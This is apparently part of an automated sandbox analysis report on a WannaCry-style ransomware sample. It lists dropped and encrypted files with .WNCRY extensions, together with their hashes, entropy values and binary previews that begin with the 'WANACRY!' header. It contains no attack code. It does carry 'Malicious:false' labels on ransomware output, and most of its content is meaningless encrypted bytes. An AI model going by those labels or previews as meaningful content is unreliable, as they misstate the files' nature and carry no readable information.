                                      SHA-512:5512136170C4A312103E92659858FDF60C1F266C56F4964FB72B8AD9C103102554E3AFD1C674D73823A76269C824DE0EE15E1E14A9328BC04C5A466900CD7339
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.(......G/..!.j...NZ..l.......3.n..4....f..'.$.qy!..Y.C.Z.I*.*~.U....}E....o......\.G.t.%.<..HYs.8..a0;.....11.-q...q.rQ.B.h..WD.1...ws.gI...:c..8......E...d'.a...Q(..1../v.|..6.].Y....2^..c.F7&.h.4w.mu..Z.K2[YGk.g..M,o...w...."..A...(c\n{.W..u..R1...q.GIX3.kf....Y./.w`.....A.^.+.c.m.....u3?9...;<>.3p@.%0..R...w..]..,..8....X.6$...#..O.U.T.X.*"nVry...Y.(Z..)8..K.B.2]....M..>.X..V.....-...Jf(..!(R.....D^.p..w._.'...o......\..)...n.F..bj..."..0..m.e..E....y..t....`...{...I.V]w.T9.|.4...>.DK.e.M,../x..d.x?...........cxx...h..YI...^t.....XX..8.4.......z.b..4.U1}...q....^Sd..C.R..L9.3.R.,N..................]O.......&......)......d.)-.)...}]$j4..i....._..0..u....N}\.e}.....f.v.i*}&....R.._95..5.....3n....'.}L!9...f.D.K...X...._....b.vf...$y ....3~.."...V....,3'-........j........1...0..K......ud.d...|.W.nV.0....|......{..t.a.m(...-...k9.....-...gl}K..Rp%....;......8j.J.n. ..)].7..#.JuF.....L.].B.......!Q/........X.\...sw[..5.......R

                                      C:\Users\user\Documents\CURQNKVOIX\UOOJJOZIRH.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.85308139072516
                                      Encrypted:false
                                      SSDEEP:24:bkbq8Plzm35xrNCGB3KSREDWMMmkpDpwgevZac634vppHbKxcWQ2g:bkbh9m3NB6SREqMhkpmNq3kpp3x
                                      MD5:6B40C02B8864A5EAE8BEF91659566530
                                      SHA1:BB72DF4CBE66BA695D2F597CD8F3DC168EBC64BF
                                      SHA-256:64EF1828D296FFA9F51F9FDFEBC19DCF668216FC07ABFE60A57ABE91220E19A2
                                      SHA-512:1EBE6FC391C2E6B10859191FAC3F91630DEA0BDB223235FE7C357FEEFFBE2E908D0CBF9CC047B015CAE3C4034F9BE4CA7ABEDCACA016FB3C55A0BF8C47AE6CB5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......c[.....Z..~o$.....E.z..4Z.[%.....P.....dm...\.........?..[U.....N.....F.N&.K.^..H....E....V-..E.XA..&..z.u..4.M.k...rt...O.....f.E.A...M....h?..~.d..!Z...F2...... ...0..{..n[.....EW..'.......O.z.~/...\...".\i[...+[...*. .`..{+......F.....r................N.t..{.{.......E...B.Q.n'.#W.....P..0Y....W.x..%0..........h.....jRh..=.../.t.%k..........z....1P..)}b.....r..jL..`.Pq.t.7.0..Nd....._o..h.zX.k.....E2p!YT.'..p..........._........;kE,...9.L}...t".z6.......1.D..I.?..E..U;..i.&..C0...\.;..O6..#..A..._b.....O;...rcjk.u\.uuebr.M.*.|y..WQ.....3*...3H...F..r.SE.<...[8.l^*(.......(........jQ.....o.....]....Z...=. x.S^N..O..*/..Y.:i'..n.@3_s...S..._+...`.=K...$.bc...nn..C.[..<.B.P.A.%l.fPf~..A...j_....uW&..aZ.(.*.];.=IO....SQ..tD..~...9....c.....6.u..Ru....On.......c|*..<2.)..k.h9.g...]m.3...C..U.....3..Z+Q.j......6..Z..B..R..X...c.q..j....._../.%.~...2...\....Us..HVo.B..}....v.lX.My.#...X)...}%x.P.w.{.-....z.~2...........{,

                                      C:\Users\user\Documents\CURQNKVOIX\UOOJJOZIRH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.85308139072516
                                      Encrypted:false
                                      SSDEEP:24:bkbq8Plzm35xrNCGB3KSREDWMMmkpDpwgevZac634vppHbKxcWQ2g:bkbh9m3NB6SREqMhkpmNq3kpp3x
                                      MD5:6B40C02B8864A5EAE8BEF91659566530
                                      SHA1:BB72DF4CBE66BA695D2F597CD8F3DC168EBC64BF
                                      SHA-256:64EF1828D296FFA9F51F9FDFEBC19DCF668216FC07ABFE60A57ABE91220E19A2
                                      SHA-512:1EBE6FC391C2E6B10859191FAC3F91630DEA0BDB223235FE7C357FEEFFBE2E908D0CBF9CC047B015CAE3C4034F9BE4CA7ABEDCACA016FB3C55A0BF8C47AE6CB5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......c[.....Z..~o$.....E.z..4Z.[%.....P.....dm...\.........?..[U.....N.....F.N&.K.^..H....E....V-..E.XA..&..z.u..4.M.k...rt...O.....f.E.A...M....h?..~.d..!Z...F2...... ...0..{..n[.....EW..'.......O.z.~/...\...".\i[...+[...*. .`..{+......F.....r................N.t..{.{.......E...B.Q.n'.#W.....P..0Y....W.x..%0..........h.....jRh..=.../.t.%k..........z....1P..)}b.....r..jL..`.Pq.t.7.0..Nd....._o..h.zX.k.....E2p!YT.'..p..........._........;kE,...9.L}...t".z6.......1.D..I.?..E..U;..i.&..C0...\.;..O6..#..A..._b.....O;...rcjk.u\.uuebr.M.*.|y..WQ.....3*...3H...F..r.SE.<...[8.l^*(.......(........jQ.....o.....]....Z...=. x.S^N..O..*/..Y.:i'..n.@3_s...S..._+...`.=K...$.bc...nn..C.[..<.B.P.A.%l.fPf~..A...j_....uW&..aZ.(.*.];.=IO....SQ..tD..~...9....c.....6.u..Ru....On.......c|*..<2.)..k.h9.g...]m.3...C..U.....3..Z+Q.j......6..Z..B..R..X...c.q..j....._../.%.~...2...\....Us..HVo.B..}....v.lX.My.#...X)...}%x.P.w.{.-....z.~2...........{,

                                      C:\Users\user\Documents\CURQNKVOIX\VAMYDFPUND.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.829059660535849
                                      Encrypted:false
                                      SSDEEP:24:pTUrMG5cG+eMW/V9MYjB9slsf3uNTUR+cs0BG+B4kEtJFOh:OM1M/b3lhf3uxa+1oG+WLo
                                      MD5:202B408D0B043290211F72ACC2971BF9
                                      SHA1:679E8897248B2BBCEFF6DEB11C72C90DB6C183BF
                                      SHA-256:81EA88C658BC688264BE05B65343C1E981B99B582EF15259D56F7EBA56944913
                                      SHA-512:F939773B1BCCE154450E6DD0B6C903FD28C2CB1CD165C1232BD7F09230FEF5C1995A0339078017DC5FDA2AEB887ED5B9DD7DEB40C5F7E28D153F8BAAF402DD67
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.Y.'.0.&.....8...j...M6..2...W@.j..`p.0?..F..w....OcK..xg.`.H.]........ Q..A:..6W.%.c.O..B...[..q.K......{...4?...E.k/....U....2...hU...8.J.i.D.9..!o..F'v.K.sA.......2.."..?.a6L..~ue.....Q.......X.......A. .4.X..t.C....^q....9.M...KRb....*3..E>..T.c.>..f..'kD............~....g...0.Mdk.....@..y.{..P..6.b.1....{60E..).z+)..j.!.F>o.T..i:...._Z.l.........JR.cu1.t>{..}.W&wF..E.`.=.._z..hU..O.x..........Es.;..[.Rt..c..fl....P.~.....f>....._kb...........a....%.......4..."k...G'...]...p.=e=...._b..n...2..L1%.....o-..6vOk.N....tC4..l.....c...$.T#PK,..8E.$..{.X....V"....g~C../.!-.*.q.]..V{.......*.#.."e.yQ....e...r.@a=.>.u...tP~.H..DX[....[.\ss...&e\..63.)&...q!57...../.[q.-.A..,.4.?...../..........v.E1.n..o.U....^..$L.| ...j..}..|$E.`.?..Yh."Q.F.....o.H...z...<.(.y.......b5.......kN)b.....1'....1...o@My......_2...H..Q..2N)..6.t.A..9m(\.J....A$2.T.-H....8.~W.z.r...?.~.0...c.^.Si.8.[76.J.4_Q.Bu..fH......8.s......(........M..v..).....D.0

                                      C:\Users\user\Documents\CURQNKVOIX\VAMYDFPUND.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8597732077017834
                                      Encrypted:false
                                      SSDEEP:24:bk4b3aaHxK/n+iGVehszZEg8vGMM9QqFFxfnd8TMyTu7YWTDsjZf25jh0DzwTSRL:bkkaakZuzZx8OMM9QsFdndELTukWTYNd
                                      MD5:3DD24E7D49A2C6DB677DB658873022DF
                                      SHA1:EC88D9B1669A7574B354220B98CA3E05B820B1FF
                                      SHA-256:6BF7C9C926EB9F4450A4FB253089BF6CDD68A429DBFAA39924D3E0C950F637C1
                                      SHA-512:DDD3170DAC839A4439B48FA2F8E0239CA4E3A41317AAD0C16182CE551CF3E37FC94A87E149DF1916935A2465CCD3A9B55954F1ADFF2E22CDBD7CDEAA04F41CB1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......yXXB5...F.q..L....LB.BH2.N]...[..P.........>.M.....?....0..Oq.OsJ).{....v......18b...r.T...@.....$D..x.... k*....sm.#q..5.......T.k.7._X..S.S..*n......U.......T.F.t;..M.'FT...5..^,M-y>X.Sy...T)....W..l.>ym....W.......=$;..M.....F.|P..x...............!...1.....m.A..Y...U....Le..7...T.4.(8Z(.RfG.@.uCL..........._...W..'5.....a...2...pl...a..5.O..T]ACKH+)E..........k.D...%..>:.......:...D...@....<..[.|.T..V....-}..J?r.L4].e.8p.=....t.4O..u.s..I..~.d"...o`*.6......&r*.@>Cq...4{.....uD.....7y..Qv(..&.Ts.#Q3.G.t....+."@Rb......;.PB...^.Qx..{`Lh...&..B$....%.p..........f....7;..>..d..>..RibA..F...O.S..s...zPm.^.t......C..R...Pn...k<.-..._.a........b..../.O..~.*.&v....g.+.B.1)`.^"-h.H.MI.X..g.._JjIzWK$...p..w..RQ.oD...s[...Bk.xSD..fY......1..7D?.a.a...5....3....Y..[... .S._.3..7......G..:*...7....Y.a#.r../.L"..e.._.....q...6]........... .U8....p...j;@....(X..`_.foK.o..@2.:...%.1...$w+].....#.2h..t,r.,....@..pp.E.cY.'...q...d.......f.p

                                      C:\Users\user\Documents\CURQNKVOIX\VAMYDFPUND.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8597732077017834
                                      Encrypted:false
                                      SSDEEP:24:bk4b3aaHxK/n+iGVehszZEg8vGMM9QqFFxfnd8TMyTu7YWTDsjZf25jh0DzwTSRL:bkkaakZuzZx8OMM9QsFdndELTukWTYNd
                                      MD5:3DD24E7D49A2C6DB677DB658873022DF
                                      SHA1:EC88D9B1669A7574B354220B98CA3E05B820B1FF
                                      SHA-256:6BF7C9C926EB9F4450A4FB253089BF6CDD68A429DBFAA39924D3E0C950F637C1
                                      SHA-512:DDD3170DAC839A4439B48FA2F8E0239CA4E3A41317AAD0C16182CE551CF3E37FC94A87E149DF1916935A2465CCD3A9B55954F1ADFF2E22CDBD7CDEAA04F41CB1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......yXXB5...F.q..L....LB.BH2.N]...[..P.........>.M.....?....0..Oq.OsJ).{....v......18b...r.T...@.....$D..x.... k*....sm.#q..5.......T.k.7._X..S.S..*n......U.......T.F.t;..M.'FT...5..^,M-y>X.Sy...T)....W..l.>ym....W.......=$;..M.....F.|P..x...............!...1.....m.A..Y...U....Le..7...T.4.(8Z(.RfG.@.uCL..........._...W..'5.....a...2...pl...a..5.O..T]ACKH+)E..........k.D...%..>:.......:...D...@....<..[.|.T..V....-}..J?r.L4].e.8p.=....t.4O..u.s..I..~.d"...o`*.6......&r*.@>Cq...4{.....uD.....7y..Qv(..&.Ts.#Q3.G.t....+."@Rb......;.PB...^.Qx..{`Lh...&..B$....%.p..........f....7;..>..d..>..RibA..F...O.S..s...zPm.^.t......C..R...Pn...k<.-..._.a........b..../.O..~.*.&v....g.+.B.1)`.^"-h.H.MI.X..g.._JjIzWK$...p..w..RQ.oD...s[...Bk.xSD..fY......1..7D?.a.a...5....3....Y..[... .S._.3..7......G..:*...7....Y.a#.r../.L"..e.._.....q...6]........... .U8....p...j;@....(X..`_.foK.o..@2.:...%.1...$w+].....#.2h..t,r.,....@..pp.E.cY.'...q...d.......f.p

                                      C:\Users\user\Documents\CURQNKVOIX\WKXEWIOTXI.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8275412578261
                                      Encrypted:false
                                      SSDEEP:24:6UFlLdFkz6Nn1BtNvQT3baxbpMNWXaP74sNxzHWz3L5Cm:6UnLMzItvz4NWg7M3om
                                      MD5:6698F256FBC1C6C87B2C4C4C0E8FCB09
                                      SHA1:7479AD4A7624A6C163AD72CA4271989BE03D9926
                                      SHA-256:7E2ABDD17D6DBD959F095B4096AEF45E5B05E6445214E6D8AFEE7FEA474F6F4C
                                      SHA-512:CBEBED5976FB86503A72D558D16E6746B89B4918AA914DEBF5E181B3331C66A4023C1B31E83A255A6C788F6DC1E80EA5CD3F20E40182E26AD247CE402084B897
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.aH*..bi..Rh..$x...T...8r....X..n.."h. ....Kz.p.~Hb.N......:.....j.H.+..F.......c. ......No.c<....!.*.g..1Zg.mh...~.4y......?../..... (....`.$L..H.'....h._q...../G.._...).@.....=3..6X.W.<.).%.U.!..!.........a.k.......".....rH`....@..^......`P3.>.-.i.-s...Lc....5.,T.m.).0#......B....P.|-.r.s!......i.1JC.<.7.maP.......qHH.....3..6w3..r.s.^ .......^+.^.be.{..M...fF...../.SP~l.d.O.f3..,..u.3..,. .+>Z........9.jr.d(V...W.L.b......s.x....v.t.....[..D..r..bu.^..l."../9Y/|......a.....e.+4.w...g$2.l....>..K.....q.Q....=....}0.....v.$......>...7-..S.[...S=.Dr......5Wz...}....yX........".f.....=8....sCd'5.Ca..Y..9;.HCAV.X%^.@\..Xz.?..!J...9...\bm.c-N...=U.p~...@..S......l..u..e..l...h4..Z..qo.#......G .{\.=q._...} ....Eq(.j.L....a.I.S.@X./..@.H.4,l/N.u............=.sihV8#M}OeV....jaQ.c.[...))..j..<x^4P1....%?.\...A..nv..)..+]V.6..R.i.&a....[..v.T.......z.=A.G.NZ1.Q#.U.."`.....]Y..zP....`W|...}..`...M...-.&M.Jr.L.W.S..P...Fy.l.7D....f.VpZ.??!N..(..f

                                      C:\Users\user\Documents\CURQNKVOIX\WKXEWIOTXI.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843967463250032
                                      Encrypted:false
                                      SSDEEP:24:bk0PDS9tof6/E8ieVObvQABuRLIfvg2LzCf6iqz2TSHFQP6yFX:bk4DS9tamymEvX0RLcvhCSbzecyFX
                                      MD5:DE6B97213A065C3C75BBEC3874D802B8
                                      SHA1:FA8D89996107D1F9C664679D0A2F5098A87D0BAC
                                      SHA-256:EA4298706AE60D6E79D5CBAC225D62D7ECF8EABB3E99F69655FF7DAE473CBA49
                                      SHA-512:9AF7CE31801B9AA90363F39F7D22C45B5BF06EDBA1781D608C8FEB1BF416EB68F41D14998DFEEFF9A8DA39E53C1C2F7FE1FC52DFC509EE7C882C5FEB87D8CB32
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......)a.J.^#..B {..,.L......#]..&%.g_.Q!..TuV.r..5...a..p..q.9M...S.5>.~/...Zl.Ye.s.-!..1..y...=...........Y$..L4og..A...$y........N...K<.].... !0.y~q...uyi..I.N...Q.i..F.H.#...I..G.....32.D.....b.N.77...I.!+..gN......./.u.&....W_..+...GJ..w.'.%............L~TII....%m..........A..#AU...i....i..5.D`..\b......W...#............f..x.... .+..a....".-d.n..2./.o(.......;.|F..I]P..f...........e.....{B.....4...QO.E*...yZ^.d.B,(.*.k.^..~D...`.E.Q.&2N..a.6..t..j...e..3.....0&.`..\.%<...}.'.u7..`;....|...G....e!..L........1}wm.....{28.\...Gc|.woU.........9.3...|B..6.Jmj.-.k.....f.....p`..${.t>..mC.B....e..Z....#d.n#G.~w...I......D...a3.L,..D.a..8.......`%4.I...~..nV..,,.?.>./L..0.."..<x..}..E...0..2...g.DrC..t..kd....~.X...).:>..T.....GQ..\"..\..%"...n%(6`.,b...\..]..j..jn..]u..Q|....)..@y.@..T0..y..cfpo..n....u...={....~`....Tm"v9\._`..mt.Z.3..u.%%ZW.3....d.(..dr+.A.".oB.K.W'.0P.m...mv.;..n..;...e.X...'.SB..G...L.G.,..b.G.'.|.s.............

                                      C:\Users\user\Documents\CURQNKVOIX\WKXEWIOTXI.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843967463250032
                                      Encrypted:false
                                      SSDEEP:24:bk0PDS9tof6/E8ieVObvQABuRLIfvg2LzCf6iqz2TSHFQP6yFX:bk4DS9tamymEvX0RLcvhCSbzecyFX
                                      MD5:DE6B97213A065C3C75BBEC3874D802B8
                                      SHA1:FA8D89996107D1F9C664679D0A2F5098A87D0BAC
                                      SHA-256:EA4298706AE60D6E79D5CBAC225D62D7ECF8EABB3E99F69655FF7DAE473CBA49
                                      SHA-512:9AF7CE31801B9AA90363F39F7D22C45B5BF06EDBA1781D608C8FEB1BF416EB68F41D14998DFEEFF9A8DA39E53C1C2F7FE1FC52DFC509EE7C882C5FEB87D8CB32
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......)a.J.^#..B {..,.L......#]..&%.g_.Q!..TuV.r..5...a..p..q.9M...S.5>.~/...Zl.Ye.s.-!..1..y...=...........Y$..L4og..A...$y........N...K<.].... !0.y~q...uyi..I.N...Q.i..F.H.#...I..G.....32.D.....b.N.77...I.!+..gN......./.u.&....W_..+...GJ..w.'.%............L~TII....%m..........A..#AU...i....i..5.D`..\b......W...#............f..x.... .+..a....".-d.n..2./.o(.......;.|F..I]P..f...........e.....{B.....4...QO.E*...yZ^.d.B,(.*.k.^..~D...`.E.Q.&2N..a.6..t..j...e..3.....0&.`..\.%<...}.'.u7..`;....|...G....e!..L........1}wm.....{28.\...Gc|.woU.........9.3...|B..6.Jmj.-.k.....f.....p`..${.t>..mC.B....e..Z....#d.n#G.~w...I......D...a3.L,..D.a..8.......`%4.I...~..nV..,,.?.>./L..0.."..<x..}..E...0..2...g.DrC..t..kd....~.X...).:>..T.....GQ..\"..\..%"...n%(6`.,b...\..]..j..jn..]u..Q|....)..@y.@..T0..y..cfpo..n....u...={....~`....Tm"v9\._`..mt.Z.3..u.%%ZW.3....d.(..dr+.A.".oB.K.W'.0P.m...mv.;..n..;...e.X...'.SB..G...L.G.,..b.G.'.|.s.............

                                      C:\Users\user\Documents\CURQNKVOIX\ZTGJILHXQB.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.797763671658589
                                      Encrypted:false
                                      SSDEEP:24:17b7HSUoVM9DHT98oOMpAkr1HNolqsDHbFW/+gJxM0tuM:97yvS59AK1toIqwGgI0tuM
                                      MD5:835AFA59EC1F4D120F7010E4F577FE87
                                      SHA1:CEECE3CA57C157302CAFCE114D10213A959B6CB1
                                      SHA-256:D27B5A8850D31D6B0BF69E3BC19CE291051C289C24A87125A6CD14C748294834
                                      SHA-512:302D3F9ADFA105AEAF2CBFCDE871010021B9BEFEBE38A44F6309864CB88FA93D5DC24984B5E350A21772719F37BC27D77294441110A1A502F84D5BD92036600D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.....3.}k#$l4.....Q.....FhT..$j.k9.3f.9~....\.ipeG.@C.........m.<...s.<..."sBn.C..V...j&{Qk....p..... ..)u{Z.^.?h2.7%%{i.]A.o$.8..+.R..y.4.....d..%!X.....qB%...2/g....Hq..W...W[.......C...{.q.(..z.q.AfW.....G..|]Z.C..Cj..N^.$)bG...% ...gDx...`.....Aw...S`.:D..0v+r.R...E..z.&....6m..D ......xU%.v...\f...#k.l.G.y..D.^....A9...m.W%d........".\.....X...#.9=$|E..gM,|.l/.E.6..../..I..i.be........A.(..L.R.CE}H..P...8mH/..KH.>....q^..'..Ak..........zi..#.....,^O"*.2..t..b.....H.....=..6A....].H1.~.|...O.Hd..'..z..F!...(.^.m.l.Ch.7o.f..#'..G *..X6..X.....-.......k...'.....z..an.......A.....v...|b......0c.......T_.I.x.I......<2BB.69$.L.m..j.JMbs.z`v.").+t..V.....d..v./^S.y.J.(..d........-l].. .&..'.`M1i.jjG.Q.o...m...y.^......j.......`.z.86...nQ:6..y1[$..[|X....e..S..Q*..`Y.P.....:..F-N..K.$....f..d..=..i......Fu.w.].&......@;!..yH.r....kD.z.Z...y..}...p..zS...1i.]..V+..P....K..+W.............N`..f.......0..).0t..>..d..9k...4_.'..}..wl:r...R..%...w.

                                      C:\Users\user\Documents\CURQNKVOIX\ZTGJILHXQB.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.846237531014991
                                      Encrypted:false
                                      SSDEEP:24:bk4y+VARhQ4Jfu7lf2bLio7RIi5XthNXCgy/AIA7dxztX2z+zP/aQ:bk4L4O7lebL17ei5XthNXFeAIwLR2ibf
                                      MD5:82568A8F7466CCC3AAABE7A32CF6F275
                                      SHA1:168FC118E8C1F01EBB6D26CA0AC685AF7D7257CC
                                      SHA-256:4C24262D4AEB8A2B6D0528127082FFB53024EA922BB28FB6FBC547B2AF0EE632
                                      SHA-512:4041B352DF607D6E538044EE49340294DC748E578405D24113820A0B10F1512CDFD98F6C88B8943C6488DBC81CE14B7866D38EB6D02677487D4548833C02F95E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....h....h...qm..F.U.L.C.YL...4..0...TC.?<........C`..;.Z.Wp.. ..D..4..V...ON.O.[p...p.c.....#r..*).....T.2..+....%z..T.m..%.h..*...... .n.).2{..N.g.L..|..9w...O...q.....E.{.W .....u{.....Y..'...&.xho...Y*.....0b..Q3...<.<...g0.FFjX..p.B|.6.............)...q].P>....gu.....Y..-|.F..2.f.M.A.M.....ye.-#......HlF..b./.........cI..H......H.....su.V.Y.N*.tO..@..!#o...S.;..?.qrl8._.G=J.O?Z...[.i.K.)\...d..U.]R..U...&..Md..&...._j...N<...4&f.u..})<l;...C.eg#U}..Z.bd>.AH.+.9.......h,$v<..? .7..J^N.R..=.2.r..V.s.gsl..c....... ....l#.+...Z.....].\3[R....6`'......|6.,%....kR.PO..1.?9....Zz..N....!....j.Z..yi....v./Q.I..n.w....wC.w...WHq.....w.Q.g[..5...I..Z.yH.4n....TGT5.(X!j..qF.!.....^.{T.B.&(..!.^u..R..P.B.$.......S.....E...ey.B.&..F..p..a...&..L.M....i..;......D.!S*.6...?vwnU.........N...vh...)....._.....(.........^.^......%.h..8.s...J....+@.....(.G..............I=...'aG......y.W.#LNKT.A..+....~.(#.?.;..mt.VDSnp.j$.y...h.9..:i@.Q.

                                      C:\Users\user\Documents\CURQNKVOIX\ZTGJILHXQB.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.846237531014991
                                      Encrypted:false
                                      SSDEEP:24:bk4y+VARhQ4Jfu7lf2bLio7RIi5XthNXCgy/AIA7dxztX2z+zP/aQ:bk4L4O7lebL17ei5XthNXFeAIwLR2ibf
                                      MD5:82568A8F7466CCC3AAABE7A32CF6F275
                                      SHA1:168FC118E8C1F01EBB6D26CA0AC685AF7D7257CC
                                      SHA-256:4C24262D4AEB8A2B6D0528127082FFB53024EA922BB28FB6FBC547B2AF0EE632
                                      SHA-512:4041B352DF607D6E538044EE49340294DC748E578405D24113820A0B10F1512CDFD98F6C88B8943C6488DBC81CE14B7866D38EB6D02677487D4548833C02F95E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....h....h...qm..F.U.L.C.YL...4..0...TC.?<........C`..;.Z.Wp.. ..D..4..V...ON.O.[p...p.c.....#r..*).....T.2..+....%z..T.m..%.h..*...... .n.).2{..N.g.L..|..9w...O...q.....E.{.W .....u{.....Y..'...&.xho...Y*.....0b..Q3...<.<...g0.FFjX..p.B|.6.............)...q].P>....gu.....Y..-|.F..2.f.M.A.M.....ye.-#......HlF..b./.........cI..H......H.....su.V.Y.N*.tO..@..!#o...S.;..?.qrl8._.G=J.O?Z...[.i.K.)\...d..U.]R..U...&..Md..&...._j...N<...4&f.u..})<l;...C.eg#U}..Z.bd>.AH.+.9.......h,$v<..? .7..J^N.R..=.2.r..V.s.gsl..c....... ....l#.+...Z.....].\3[R....6`'......|6.,%....kR.PO..1.?9....Zz..N....!....j.Z..yi....v./Q.I..n.w....wC.w...WHq.....w.Q.g[..5...I..Z.yH.4n....TGT5.(X!j..qF.!.....^.{T.B.&(..!.^u..R..P.B.$.......S.....E...ey.B.&..F..p..a...&..L.M....i..;......D.!S*.6...?vwnU.........N...vh...)....._.....(.........^.^......%.h..8.s...J....+@.....(.G..............I=...'aG......y.W.#LNKT.A..+....~.(#.?.;..mt.VDSnp.j$.y...h.9..:i@.Q.

                                      C:\Users\user\Documents\GRXZDKKVDB.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.78055676529936
                                      Encrypted:false
                                      SSDEEP:24:iRvGOnrUX39wkct0WP/+W8EQmUCYKqltwgk8JLJXt2Mzn:iRvGz6t95nJzMtg4Jxzn
                                      MD5:8A7036F8501854A0EE43C716E9FA3A8E
                                      SHA1:EEE321DA972001863120523318CAF821E483C5FA
                                      SHA-256:0C8031E2E948C54C815840FF6708FCFD33085051FF93434FA51C55016F78385D
                                      SHA-512:3B069D0698FAE2AFC7902D7EFA2C791DB993FC7B09DE14034406FC8702D5F65D7D46D44CE55875AC48AB30C5B8FD43B455700F878B1DF1EC5EE619E01976FFA5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:`..@Z.".r.b........-.....`D.[...T...J....mT......9....fo6-Y..}.e..)?@>F]\.&.S.9.......i$~.4!s....d^...["....!.q.).c".2W...^....$...-.w...v...v..D.W.$+..*..Wi.......=G..!...&....R.....W....e.].9....=...?!.S.p...._.e.L...o......l.)D@..;a.5*..9.x.R.D..L...z.?.3'....=..4c%....d..mn*..6..g. .M.]b..3_n.$WF..)<..ae.m.....".c>.)..v%.....<...,..[...l../.E..^.y`{.......5B.y....h.8...>E....K..........~...U9V*.=..n}.~. ....].g....#.$.....#W....].e~%h..+QD7.v..>.`.t" ...(..*P{.E.%1L.t|Q.R.....(_.y..M.......As.....E..<.+$4.....{.!c.6/....@...z?........G.oL.g.p.=..gm.h-;."....z....+zH.1w..=.ki.......R.Nnt".M..*BP.o*A...........v9.u._..Q...=B...,..r..."...../.D.r_~.8..o.P1.P.F...:...j.G=3!.f.f}..g.:...Bmu.sx2..;./.V.lU.*u;.M.aHmy.t.W..Y.h.rdk..Y..!(..y.m..._...{..h...K.....-...M.._C.V.k....":."..TA.8.1..i....2....W=d.Rv..E0..n:.6j..).;...k;.>....r.G.j.G.N...C......n... .]J...b..m..uv.k-.uY.....<..i.G.$.!G.A.u.*..r1.}'.o5..X.;"I..HtO..M..8.$

                                      C:\Users\user\Documents\GRXZDKKVDB.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840947787540089
                                      Encrypted:false
                                      SSDEEP:24:bkN6pEQXkghaC19HDibpj+byy7oJGqoqxNFA26lwv2VvWVvt:bkN6LWC19Hmbpj+yLvRuVult
                                      MD5:A601556FD8AFF91EF2B6CF3FE0F58571
                                      SHA1:343490860CBAE5CDA77840D29002A54E1177EDDA
                                      SHA-256:16C7E249A84260DD56B9F1392E915CFEA1E78324DFE36D6D5B26C46E2B075B96
                                      SHA-512:AF905823A4ECE6FFA83F291739FF6912FBFF429634F5FEBB8EC4A04272434162E403959FF864D96410FE384DA6B86E607AFE348FA6F38B8D1EF29A2CADE86E70
                                      Malicious:false
                                      Reputation:unknown
